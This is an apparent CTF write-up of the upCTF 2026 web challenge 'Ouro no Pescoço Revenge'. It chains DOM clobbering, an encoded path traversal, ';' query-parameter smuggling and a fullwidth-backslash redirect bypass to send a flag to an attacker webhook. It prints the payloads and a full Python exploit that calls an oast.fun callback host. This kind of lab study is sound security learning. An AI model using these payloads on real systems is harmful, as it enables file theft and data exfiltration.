HackSmarter: StellarComms Writeup
Step-by-step guide for StellarComms, a medium Active Directory box on HackSmarter. We exploit DACL misconfigurations and perform advanced credential recovery.
Ouro no Pescoço Revenge was one of the Web challenges at upCTF 2026, the first global edition of the CTF organized by xSTF, the cybersecurity academic team from the Universidade do Porto. The event ran from March 7–9, 2026 as a 48-hour Jeopardy-style competition listed on CTFtime, spanning categories across Web, Pwn, Reverse Engineering, Crypto, Forensics, Misc, and OSINT, with over $12,000 in prizes supported by sponsors Ethiack, Caido, Hackviser, APIsec University, and Knight Squad Academy.
Our team, qual era o nome mesmo?, finished in 2nd place with 4484 points. This challenge was authored by castilho you can find the source-code here.
Ouro no Pescoço Revenge is a web challenge built around a gold-link evaluation platform running three cooperating services: a Flask frontend, a Quarkus backend, and a headless Puppeteer bot that visits every submitted post as an admin user. The attack chain involves five distinct primitives that must be chained in the right order. First, HTML injection into the comment field lets us perform DOM poisoning by injecting elements whose IDs shadow the legitimate ones that the page’s JavaScript reads at runtime. That gives us control over both fetch calls the page makes. The first fetch is pointed at the Quarkus logger via Client-Side Path Traversal (CSPT): a submitted URL of the form http://a.com/..%2F..%2F/read uses %2F-encoded slashes so the browser keeps the traversal opaque, while Flask’s unquote() + normpath() resolves it server-side to logger/read. The flag is smuggled through a double file parameter in the query string - &file=/tmp/x satisfies Flask’s /tmp/ path check, while ;file=/flag.txt is invisible to Werkzeug’s &-only parser but visible to Quarkus, which treats ; as & and reads /flag.txt first. The second fetch carries the flag body into an exfiltration URL constructed from path traversal through the /logout route, where a fullwidth reverse solidus (\, U+FF3C) tricks furl’s host parser into believing the host ends with localhost, passing the allow-list check - while Chromium’s NFKC normalization later converts it to a regular forward slash, sending the request to the attacker’s webhook.
The challenge ships with full source code split across three services that run inside the same Docker container, all talking over localhost.
The Flask app on port 5000 is the user-facing layer: it handles registration, login, and post submission. When a user submits a URL for evaluation, Flask stores it in SQLite, asks Quarkus (port 8080) to score it, and then fires a request to the Puppeteer bot (port 3000) with a link to the newly created post page. The bot logs in as goldmaster and visits the page. That chain - user submits, bot visits as admin - is the core delivery mechanism for the entire attack.
The Quarkus backend exposes two endpoints: /evaluate, which fetches the submitted URL and counts occurrences of the word “gold” to produce a score, and /logger, which has several sub-paths for writing and reading log entries. One of those, /logger/read, accepts a file query parameter and reads an arbitrary file from the filesystem - with no path restriction of its own.
Flask (5000) ---[POST /evaluate]---> Quarkus (8080) /evaluate
Flask (5000) <---[proxy all /api/*]--> Quarkus (8080)
Flask (5000) ---[POST /browse]-----> Puppeteer (3000)
Bot visits /site/<id> as goldmaster
The goal is to make the bot read /flag.txt via the Quarkus logger and send its content to an attacker-controlled host.
The /evaluate route on Flask does a basic scheme check before storing the URL:
# flask-frontend/app.py - /evaluate
parsed = urlparse(url)
if parsed.scheme not in ("http", "https"):
return redirect(url_for("index"))
That check only cares about the scheme - it does not validate the rest of the URL, so as long as we start with http or https, we can put almost anything in there.
After storing the entry, the bot is invoked to visit /site/<id>, where the view template renders the URL and comment.
The view template is where things get interesting. The comment is sanitized with DOMPurify and injected as innerHTML, and then a self-invoking function runs two fetch calls:
<!-- flask-frontend/templates/view.html -->
<a id="log-link" href="" style="display:none"></a>
<span id="user-id" style="display:none"></span>
<script nonce="">
document.querySelectorAll('.comment-html').forEach(el => {
el.innerHTML = DOMPurify.sanitize(el.dataset.raw);
});
(function() {
var aTag = document.getElementById('log-link');
var userId = document.getElementById('user-id').textContent;
fetch(`/api/logger/${aTag.href}`)
.then(r => r.text())
.then(body => fetch(`/api/logger/state/${userId}?data=` + encodeURIComponent(btoa(body))));
})();
</script>
The first fetch constructs its URL from the href attribute of #log-link, which is set to whatever URL was submitted. The second fetch uses the text content of #user-id - normally the logged-in username - as a path segment. The body of the first response is base64-encoded and sent as a query parameter in the second fetch.
There is a crucial ordering detail: the .comment-html div is rendered above both #log-link and #user-id in the DOM. This matters for what comes next.
All requests to /api/* on Flask are proxied through to Quarkus at localhost:8080:
# flask-frontend/app.py - /api/<path:subpath>
@app.route("/api/<path:subpath>", methods=["GET", "POST"])
def api_proxy(subpath):
subpath = os.path.normpath(unquote(subpath))
if subpath and not subpath[0].isalpha():
return Response("Invalid path", status=400)
if not re.match(r'^[a-zA-Z0-9/]+$', subpath):
return Response("Invalid path", status=400)
if subpath.startswith("logger/read"):
if session.get("username") != "goldmaster":
return Response("Forbidden", status=403)
file_param = request.args.get("file", "")
if file_param and (".." in file_param or not os.path.abspath(file_param).startswith("/tmp/")):
return Response("Invalid file path", status=400)
raw_qs = request.query_string.decode()
url = f"http://localhost:8080/{subpath}"
if raw_qs:
url = f"{url}?{raw_qs}"
# ...
resp = http_requests.get(url, timeout=15)
return Response(resp.content, ...)
There are two important behaviors here. First, os.path.normpath resolves any .. sequences in subpath before the regex check, so path traversal in the path component itself is blocked at the Python level. Second, the sanitizer checks whether the file parameter (read via request.args.get) starts outside /tmp/. However, Flask uses Werkzeug’s query string parser, which treats & as the parameter delimiter - not ;. This distinction will become critical shortly.
The /logger/read endpoint in the Quarkus backend is intentionally unrestricted:
// quarkus-backend/src/main/java/ctf/ouro/LoggerResource.java
@GET
@Path("/read")
@Produces(MediaType.TEXT_PLAIN)
public String read(@Context UriInfo uriInfo) throws IOException {
MultivaluedMap<String, String> params = uriInfo.getQueryParameters();
List<String> fileValues = params.get("file");
String file = (fileValues != null && !fileValues.isEmpty())
? fileValues.get(0)
: LOG_FILE.toString();
return Files.readString(java.nio.file.Path.of(file));
}
If a file parameter is present, it reads that path with no restriction. The protection layer is supposed to sit entirely inside Flask’s proxy - which is exactly what we want to bypass.
The /logout route attempts to restrict where it redirects to, allowing only URLs whose host ends with localhost:
# flask-frontend/app.py - /logout
@app.route("/logout")
def logout():
session.clear()
redirect_url = request.args.get("redirect")
if not redirect_url:
return redirect(url_for("login"))
url_host = furl(redirect_url).host
for chr in ['@', '!', '#', '/', '\\']:
if chr in url_host:
return redirect(url_for("login"))
if "localhost" in url_host and url_host.endswith("localhost"):
return redirect(redirect_url)
else:
redirect(url_for("login"))
The host is extracted using furl, and the blacklist checks for a handful of ASCII characters - notably \\ (U+005C, the regular backslash), but not its Unicode fullwidth lookalike.
Before reaching for any HTML injection, the first thing worth noticing is what the application’s Content Security Policy actually permits. Every response includes a header that limits script execution to tags carrying a server-generated nonce:
script-src 'nonce-{random_hex_per_request}';
Because the nonce changes with every request, an attacker cannot predict it. Any <script> tag we inject into the comment - even one that DOMPurify somehow missed - would be silently blocked by the browser before executing. Classic XSS is simply not on the table.
What we can do instead is manipulate the DOM that the legitimate nonce-protected script reads. DOMPurify in its default configuration strips event handlers and dangerous tags but leaves structural HTML intact, including id attributes on harmless elements like <span> or <div>. That asymmetry is the opening.
When the view page script runs document.getElementById('user-id'), the browser returns the first element in the DOM with that ID. The .comment-html div - where our injected HTML lands after DOMPurify sanitization - is placed above the original <span id="user-id"> in the page source. So if we inject <span id="user-id">something</span> into the comment, our element wins the ID race, and userId in the script becomes whatever text we put inside it.
The same technique applies to #log-link, but we do not need to shadow it: #log-link’s href is already set server-side to evaluation['url'], which is our submitted URL - we control that directly. The only element we need to poison is #user-id, which normally holds goldmaster.
So the plan for the comment is:
<span id="user-id">../../../logout?redirect=http://ATTACKER_DOMAIN\localhost</span>
There is an important structural constraint here: the \ must appear directly after the host with no path separator in between. If the attacker domain contained a path component - webhook.site/some-id\localhost - furl would correctly parse webhook.site as the host and everything after the first / as the path, so .host would return just webhook.site, which does not end with localhost and would fail the check. By keeping the domain as a bare hostname with \localhost appended directly, furl sees the entire ATTACKER_DOMAIN\localhost as the netloc, and the endswith("localhost") check passes.
%2F Path TraversalThe URL stored in evaluation['url'] becomes the href of #log-link, and the script wraps it inside a fetch:
fetch(`/api/logger/${aTag.href}`)
The aTag.href property returns the absolute URL as the browser resolved it. We submit a real-looking http:// URL, which serves two purposes: it passes Python’s scheme check in /evaluate, and http://a.com/ introduces two fake path segments (http: and a.com) that normpath will cancel via the two traversal dots, leaving the logger prefix from the Werkzeug route capture intact on the stack.
The submitted URL is: http://a.com/..%2F..%2F/read?a=1;file=/flag.txt&file=/tmp/x&
The path traversal uses %2F-encoded slashes rather than literal /. This is deliberate - a literal ../ in the path would be resolved by the browser before the fetch ever fires, potentially normalizing it away. By encoding the slashes as %2F, the browser keeps them opaque: it sees ..%2F as a single path segment name (not a traversal), so aTag.href hands the URL back unchanged.
When the fetch fires, the browser constructs the request path by embedding the absolute URL into the template literal:
GET /api/logger/http://a.com/..%2F..%2F/read?a=1;file=/flag.txt&file=/tmp/x&
Flask’s <path:subpath> converter captures everything after /api/ and hands it to api_proxy with %2F still percent-encoded - Werkzeug deliberately does not decode encoded slashes in path variables, because doing so would break path routing. So the subpath the function receives is:
subpath = "logger/http://a.com/..%2F..%2F/read" # %2F still encoded
The code then explicitly calls unquote(), which is what actually decodes %2F to /:
subpath = os.path.normpath(unquote(subpath))
# after unquote: "logger/http://a.com/../..//read"
Then normpath collapses consecutive slashes to one, so // in http:// and the trailing //read both become single slashes:
logger/http://a.com/../..//read
^^ ^^
both collapsed to /
→ logger/http:/a.com/../../read
The six resulting segments are then resolved on a stack:
logger → push: [logger]
http: → push: [logger, http:]
a.com → push: [logger, http:, a.com]
.. → pop: [logger, http:] ← removes a.com
.. → pop: [logger] ← removes http:
read → push: [logger, read]
result: "logger/read"
http://a.com/ contributes exactly two fake components (http: and a.com), and two dots is all that is needed to cancel them. The logger prefix from the Werkzeug route capture sits at the bottom of the stack untouched throughout - there is no need to remove it and re-add it. The subsequent checks all clear:
subpath[0].isalpha() # 'l' - True
re.match(r'^[a-zA-Z0-9/]+$', ...) # no special chars - True
subpath.startswith("logger/read") # True - enters the goldmaster gate
session.get("username") == "goldmaster" # bot is logged in as goldmaster - True
Once inside the logger/read branch, Flask reads the file query parameter and checks that it resolves to somewhere under /tmp/:
file_param = request.args.get("file", "")
if file_param and (".." in file_param or not os.path.abspath(file_param).startswith("/tmp/")):
return Response("Invalid file path", status=400)
The raw query string is a=1;file=/flag.txt&file=/tmp/x&. Werkzeug splits query parameters on & only, so it parses this into two entries: a with value 1;file=/flag.txt, and file with value /tmp/x. The get("file") call returns /tmp/x, which resolves to /tmp/x - safely under /tmp/. The check passes without ever seeing /flag.txt.
Flask then forwards the full raw query string verbatim to Quarkus:
http://localhost:8080/logger/read?a=1;file=/flag.txt&file=/tmp/x&
Quarkus is built on RESTEasy/JAX-RS, which treats ; as a query parameter separator equivalent to &. The UriInfo.getQueryParameters() call inside the read endpoint therefore parses the query string into three entries: a=1, file=/flag.txt, and file=/tmp/x. The read method takes fileValues.get(0) - the first occurrence - which is /flag.txt. Quarkus reads /flag.txt from disk and returns its content.
The /tmp/x value was always just a decoy to satisfy Flask’s validator. The ;file=/flag.txt payload, invisible to Werkzeug’s &-only parser, is the one Quarkus actually acts on.
The flag lands in body inside the first .then callback.
The second fetch is:
fetch(`/api/logger/state/${userId}?data=` + encodeURIComponent(btoa(body)))
With our poisoned userId = ../../../logout?redirect=http://ATTACKER_DOMAIN\localhost, this expands to:
/api/logger/state/../../../logout?redirect=http://ATTACKER_DOMAIN\localhost?data=BASE64_FLAG
The browser resolves the path traversal before sending:
/api/logger/state/../../../logout
^state up 1 -> /api/logger/
up 2 -> /api/
up 3 -> /
logout
= /logout
Note that the second ? in the expanded URL does not start a new query string - by the time ?data=BASE64_FLAG appears, the first ?redirect=... has already opened the query string, so data=BASE64_FLAG becomes an additional query parameter in that same string. When the /logout handler calls furl(redirect_url).host, furl sees ?data=BASE64_FLAG as the query portion and ATTACKER_DOMAIN\localhost as the netloc, which is why .host returns ATTACKER_DOMAIN\localhost cleanly with the data payload not interfering.
The full request becomes GET /logout?redirect=http://ATTACKER_DOMAIN\localhost?data=BASE64_FLAG.
The /logout handler extracts the host from the redirect URL using furl:
url_host = furl(redirect_url).host
furl uses Python’s urllib.parse.urlsplit internally for the initial parse. The character \ (U+FF3C, FULLWIDTH REVERSE SOLIDUS) passes through urlsplit without raising an error - unlike its look-alikes such as @ (U+FF20) which get rejected under NFKC normalization. A small test script confirms this precisely:
import urllib.parse
from furl import furl
# Potential Chromium delimiters or parsers
test_chars = {
"Fullwidth Reverse Solidus (\)": "\uFF3C",
"Fullwidth Commercial At (@)": "\uFF20",
"Small Commercial At (﹫)": "\uFE6B",
"Fullwidth Number Sign (#)": "\uFF03",
"Fullwidth Question Mark (?)": "\uFF1F"
}
for name, char in test_chars.items():
url = f"http://attacker.com{char}localhost"
try:
urllib.parse.urlsplit(url)
# If it survives urlsplit, let's see what furl extracts as the host
f = furl(url)
print(f"[SUCCESS] {name} passed! furl host: {f.host}")
except ValueError as e:
print(f"[FAILED] {name}: {e}")
[SUCCESS] Fullwidth Reverse Solidus (\) passed! furl host: attacker.com\localhost
[FAILED] Fullwidth Commercial At (@): netloc 'attacker.com@localhost' contains invalid characters under NFKC normalization
[FAILED] Small Commercial At (﹫): netloc 'attacker.com﹫localhost' contains invalid characters under NFKC normalization
[FAILED] Fullwidth Number Sign (#): netloc contains invalid characters under NFKC normalization
[FAILED] Fullwidth Question Mark (?): netloc contains invalid characters under NFKC normalization
This kind of behavior is the exact class of bug that Orange Tsai catalogued in his 2017 Black Hat presentation “A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages”. The core thesis there is that SSRF protections almost always live in the URL validator, while the actual network request is made by a completely separate requester - and the two rarely agree on how to interpret an ambiguous URL. Tsai documented dozens of inconsistencies: PHP’s parse_url and cURL disagreeing on what the host is when you embed @ or # characters; Python’s urllib and urllib2 mishandling credentials and ports differently; NodeJS’s HTTP module being bypassed by fullwidth Unicode equivalents of . (U+FF2E normalizes to . under NFKC, letting sandbox/NN/passwd traverse to ../passwd). The \ trick here is the same category of attack: a Unicode character that survives the validator’s host extraction but gets normalized into something structurally meaningful by the requester (in this case the browser’s URL parser, which applies NFKC and then converts \ to /). The challenge author clearly had that lineage in mind.
furl reports the host as ATTACKER_DOMAIN\localhost. Now the blacklist iteration:
for chr in ['@', '!', '#', '/', '\\']: # '\\' is U+005C
if chr in url_host:
return redirect(url_for("login"))
The \\ check looks for ASCII backslash (U+005C). Our \ is U+FF3C, a completely different code point, so the check misses it. The host also passes the endswith("localhost") check, since ATTACKER_DOMAIN\localhost ends with the string localhost. Flask issues a 302 redirect to http://ATTACKER_DOMAIN\localhost?data=BASE64_FLAG.
Chromium receives the redirect response. Before making the outbound request, it applies NFKC normalization as part of its URL processing: \ (U+FF3C) normalizes to \ (U+005C), and backslashes in HTTP URLs are then converted to forward slashes by the browser. The final outgoing request is:
GET http://ATTACKER_DOMAIN/localhost?data=BASE64_FLAG
The attacker’s server at ATTACKER_DOMAIN receives the request, and decoding the data parameter yields the flag.
The exploit script registers a fresh user, logs in, and submits a single evaluation with the crafted URL and the poisoned comment:
import string
import random
import requests
def random_char(y):
return ''.join(random.choice(string.ascii_letters) for x in range(y))
WEBHOOK = "http://uttddhoxdcgoqsmecdatjrpbpdu8pyap9.oast.fun" # bare hostname, no path component
BASE_URL = "http://localhost:5000"
USERNAME = random_char(5)
PASSWORD = "peixoto"
# http://a.com/ passes Flask's scheme check and introduces 2 fake path components (http: and a.com).
# Two encoded dots cancel exactly those two components; the logger prefix from the Werkzeug route
# stays at the bottom of the normpath stack untouched, so the result is logger/read naturally.
# %2F-encoded slashes prevent the browser from resolving ../ before the fetch fires.
# Note: http://a.com/..%2F../read (one encoded, one literal slash) also works identically.
#
# Query string double-trick:
# Flask (Werkzeug, splits on & only) sees file=/tmp/x -> passes the /tmp/ check
# Quarkus (JAX-RS, treats ; as &) sees file=/flag.txt first -> reads the flag
POST_URL = "http://a.com/..%2F..%2F/read?a=1;file=/flag.txt&file=/tmp/x&"
# The \ (U+FF3C) must appear directly after the hostname with no path separator before it.
# furl parses the entire "ATTACKER_DOMAIN\localhost" as the netloc, so .host returns
# "ATTACKER_DOMAIN\localhost", which ends with "localhost" and passes the allow-list check.
# Using a domain that already contains a path (e.g. webhook.site/id\localhost) would fail
# because furl correctly parses "webhook.site" as the host alone - which does not end with
# "localhost".
POST_COMMENT = f'<span id="user-id">../../../logout?redirect=http://uttddhoxdcgoqsmecdatjrpbpdu8pyap9.oast.fun\localhost</span>'
s = requests.Session()
s.post(f"{BASE_URL}/register", data={"username": USERNAME, "password": PASSWORD})
s.post(f"{BASE_URL}/login", data={"username": USERNAME, "password": PASSWORD})
r = s.post(f"{BASE_URL}/evaluate", data={"url": POST_URL, "comment": POST_COMMENT})
print("create post status:", r.status_code)
When the bot visits the resulting /site/<id> page as goldmaster, the execution flows as follows. DOMPurify sanitizes the comment but keeps <span id="user-id"> intact - no event handlers, no dangerous tags. The JS runs, grabs #log-link (our URL) and #user-id (our injected path), and fires both fetches. The first fetch embeds the absolute URL into the /api/logger/ template, where Flask’s unquote() + normpath() resolves the %2F-encoded traversal to logger/read, and the double file parameter satisfies Flask’s /tmp/ check while Quarkus reads /flag.txt via the ;-prefixed value. The second fetch navigates to /logout via path traversal, where the fullwidth backslash glued directly to the attacker’s hostname passes the endswith("localhost") check, and the browser’s NFKC normalization then converts that character to a real forward slash, routing the final redirect to the attacker’s server with the base64-encoded flag in the query string.
Decoding the data parameter on the webhook gives us the flag.